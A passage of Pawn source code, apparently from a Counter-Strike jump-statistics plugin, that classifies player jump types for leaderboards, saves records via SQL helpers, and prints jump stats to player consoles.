									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[2],2,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"wj_top");
								tmp_type_num=3;
							}
						}
						else if(jump_type[id]==Type_Drop_BhopLongJump && kz_top==1 && uq_drbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[9],9, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[9],9, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[5],5, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[5],5,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropbj_top");
								tmp_type_num=9;
							}
						}
						else if(jump_type[id]==Type_StandupBhopLongJump && kz_top==1 && uq_sbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[5],5, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[5],5, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[4],4, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[4],4,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"sbj_top");
								tmp_type_num=5;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==0 && kz_extras==1 && kz_top==1 && uq_drsbj==1)
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[1],1, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);   
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[1],1, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"scj_top");
								tmp_type_num=1;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==1 && kz_extras==1 && kz_top==1 && uq_dscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[11],11, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[11],11, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"doublescj_top");
								tmp_type_num=11;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==2 && kz_extras==1 && kz_top==1 && uq_mscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0) 
								{
									checktops2( id,Type_List[22],22, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[22],22, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multiscj_top");
								tmp_type_num=22;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==0 && kz_extras==1 && kz_top==1 && uq_dropscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[12],12, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[12],12, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropscj_top");
								tmp_type_num=12;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==1 && kz_extras==1 && kz_top==1 && uq_dropdscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[13],13, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[13],13, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropdoublescj_top");
								tmp_type_num=13;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==2 && kz_extras==1 && kz_top==1 && uq_dropmscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[23],23, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[23],23, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropmultiscj_top");
								tmp_type_num=23;
							}
						}
						else if(jump_type[id]==Type_DuckBhop && kz_extras==1 && kz_top==1 && uq_duckbhop==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[14],14, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[14],14, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"duckbhop_top");
								tmp_type_num=14;
							}
						}
						else if(jump_type[id]==Type_Bhop_In_Duck && kz_extras==1 && kz_top==1 && uq_bhopinduck==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[15],15, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[15],15, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"bhopinduck_top");
								tmp_type_num=15;
							}
						}
						else if(jump_type[id]==Type_Real_ladder_Bhop && kz_extras==1 && kz_top==1 && uq_realldbhop==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[16],16, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[16],16, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"realladderbhop_top");
								tmp_type_num=16;
							}
						}
						else if(jump_type[id]==Type_Up_Bhop && kz_extras==1 && kz_top==1 && uq_upbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[17],17, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[17],17, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"upbj_top");
								tmp_type_num=17;
							}
						}
						else if(jump_type[id]==Type_Up_Bhop_In_Duck && kz_extras==1 && kz_top==1 && uq_upbhopinduck==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[19],19, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[19],19, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"upbhopinduck_top");
								tmp_type_num=19;
							}
						}
						else if(jump_type[id]==Type_Up_Stand_Bhop && kz_extras==1 && kz_top==1 && uq_upsbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[18],18, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[18],18, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"upsbj_top");
								tmp_type_num=18;
							}
						}
						else if(jump_type[id]==Type_Multi_Bhop && kz_extras==1 && kz_top==1 && uq_multibhop==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[24],24, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],bhop_num[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[24],24, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multibhop_top");
								tmp_type_num=24;
							}
						}
						else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==2 && kz_extras==1 && kz_top==1 && uq_dropmcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[25],25, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[25],25, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multidropcj_top");
								tmp_type_num=25;
							}
						}
						else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==1 && kz_extras==1 && kz_top==1 && uq_dropdcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[20],20, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[20],20, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"doubledropcj_top");
								
								tmp_type_num=20;
							}
						}
						else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==0 && kz_top==1 && uq_drcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[8],8, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[8],8, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[8],8, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[8],8,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropcj_top");
								
								tmp_type_num=8;
							}
						}
						
					
						if(tmp_type_num!=-1 && !ddstandcj[id] && !CjafterJump[id] && kz_sql==1 && jump_type[id]!=Type_None && jump_type[id]!=Type_Null && jump_type[id]!=Type_Nothing && jump_type[id]!=Type_Nothing2) 
						{
							if(jumpblock[id]>100 && kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								new cData[6];
								
								cData[0] = floatround(distance[id]*1000000);
								cData[1] = floatround(edgedist[id]*1000000);
								cData[2] = jumpblock[id];
								
								if(jump_type[id]==Type_HighJump)
								{
									cData[3]=6;
								}
								else cData[3] = tmp_type_num;
								
								cData[4] = Pmaxspeed;
								cData[5] = wpn;
								
								PlayerSaveData_to_SQL_block(id, cData);
							}
							
							new cData[9];
							cData[0] = floatround(distance[id]*1000000);
							cData[1] = floatround(maxspeed[id]*1000000);
							cData[2] = floatround(prestrafe[id]*1000000);
							cData[3] = strafe_num[id];
							cData[4] = sync_[id];
							
							
							if(jump_type[id]==Type_Multi_Bhop)
							{
								cData[5]=bhop_num[id];
							}
							else cData[5] = ducks[id];
							
							cData[6] = tmp_type_num;
							cData[7] = Pmaxspeed;
							cData[8] = wpn;
							
							PlayerSaveData_to_SQL(id, cData);
						}
					}
					
			
					if(kz_stats_pre[id]==true)//ducks stat for mcj
					{
						strM[0] = '^0'; 
						strMBuf[0] = '^0'; 
						strL = INFO_ZERO;
						for(jj = 2;jj <= ducks[id]; jj++)
						{
							strL += format(strM[strL],(40*NSTRAFES)-strL-1, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT8", jj-1,statsduckspeed[id][jj]);
						}
						copy(strMBuf,strL,strM);//dlya stat ducks
					}
					if(uq_istrafe)
					{
						new st1[NSTRAFES],st2[NSTRAFES];
						for(new i = 1;i <= strafe_num[id]; i++)
						{
							if(i<NSTRAFES)
							{
								st1[i]=strafe_stat_sync[id][i][0];
								st2[i]=strafe_stat_sync[id][i][1];
							}
						}
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if(ingame_strafe[i])
								{
									new Float:or[3];
									pev(id,pev_origin,or);
									
									remove_beam_ent(i);
									
									epta(i,or,direct_for_strafe[id],line_lost[id],FullJumpFrames[id],is_user_ducking(id),strafe_num[id],st1,st2,strafe_lost_frame[id]);
								}
							}
						}
					}

/*
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{	
							copy(strMessBuf,strLen,strMess);
							//stats
							if(jump_type[id]==Type_Multi_Bhop &&!failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats  );	
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id],bhop_num[id]);
							}
							else if((jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump)) &&!failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );	
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT2", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							else if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) &&!failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats  );	
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats);
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							else if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump ) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats);
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id],prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id], strafe_num[id], sync_[id],dd_sync[id]);
							}
							
							if(jump_type[id] != Type_Slide && streifstat[id]==true && jump_type[id]!=Type_None && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, strafe_x, strafe_y, 0, 6.0, 2.5, 0.1, 0.3, h_streif);
								show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMessBuf); //stata streifof
							}
							
							if(kz_stats_pre[id]==true && (jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, duck_x,duck_y, 0, 6.0, 2.5, 0.1, 0.3, h_duck);	
								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMBuf);//stata duckov
							}
							
							//failstats
							if(jump_type[id]==Type_Multi_Bhop  && (failed_jump[id]))
							{
								set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id],bhop_num[id]);
							}
							else if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump)  && (failed_jump[id]))
							{
								set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							else if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump ) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT2", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							else if((jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							
							if(jump_type[id] != Type_Slide && streifstat[id]==true && jump_type[id]!=Type_None && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, strafe_x, strafe_y, 0, 6.0, 2.5, 0.1, 0.3, h_streif );
								show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMessBuf);  //stata streifof fail
							}
							
							if(kz_stats_pre[id]==true && (jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, duck_x,duck_y, 0, 6.0, 2.5, 0.1, 0.3, h_duck);	
								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMBuf); //stata duckov fail
							}
						}
					}
*/


					//console prints
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{
							copy(strMessBuf,strLen,strMess);
							if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) )
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] );
							}
							else if(jump_type[id]==Type_Multi_Bhop )
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT2", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] ,bhop_num[id]);
							
							}
							else if(jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT3", type, distance[id], maxspeed[id], gain[id], prest1[id], prestrafe[id], strafe_num[id],sync_[id],dd_sync[id] );
							}
							else if(jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump)
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] );
							}
							else if(jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id], strafe_num[id],sync_[id],dd_sync[id] );
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT5",dd_sync[id]);
							
							}
							else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id],strafe_num[id], sync_[id]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT5",dd_sync[id]);
							
							}
							
							if(jump_type[id]!=Type_None)
							{
								static strMessHalf[40];
								for(jj=INFO_ONE; (jj <= strafe_num[id]) && (jj < NSTRAFES);jj++)
								{
										strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
										replace(strMessHalf,40,"^n","");
										client_print(i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT7", strMessHalf);
								}
							}
							
							if(jump_type[id]==Type_ladder && strafe_stat_speed[id][0][0]!=0)
							{
								client_print(i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT12", strafe_stat_speed[id][0][0]);
							}
							else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, "..................................................");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT8",prest1[id]);
								for(new ss=2;ss<=ducks[id];ss++)
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT9",ss-1,statsduckspeed[id][ss]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT10",prestrafe[id]);
								client_print( i, print_console, "..................................................");
							}
							else if(jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, "..................................................");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT8",prest1[id]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT11",prest[id]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT10",prestrafe[id]);
								client_print( i, print_console, "..................................................");
							}
							else if(jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop_In_Duck)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT13",upheight[id]);
							}
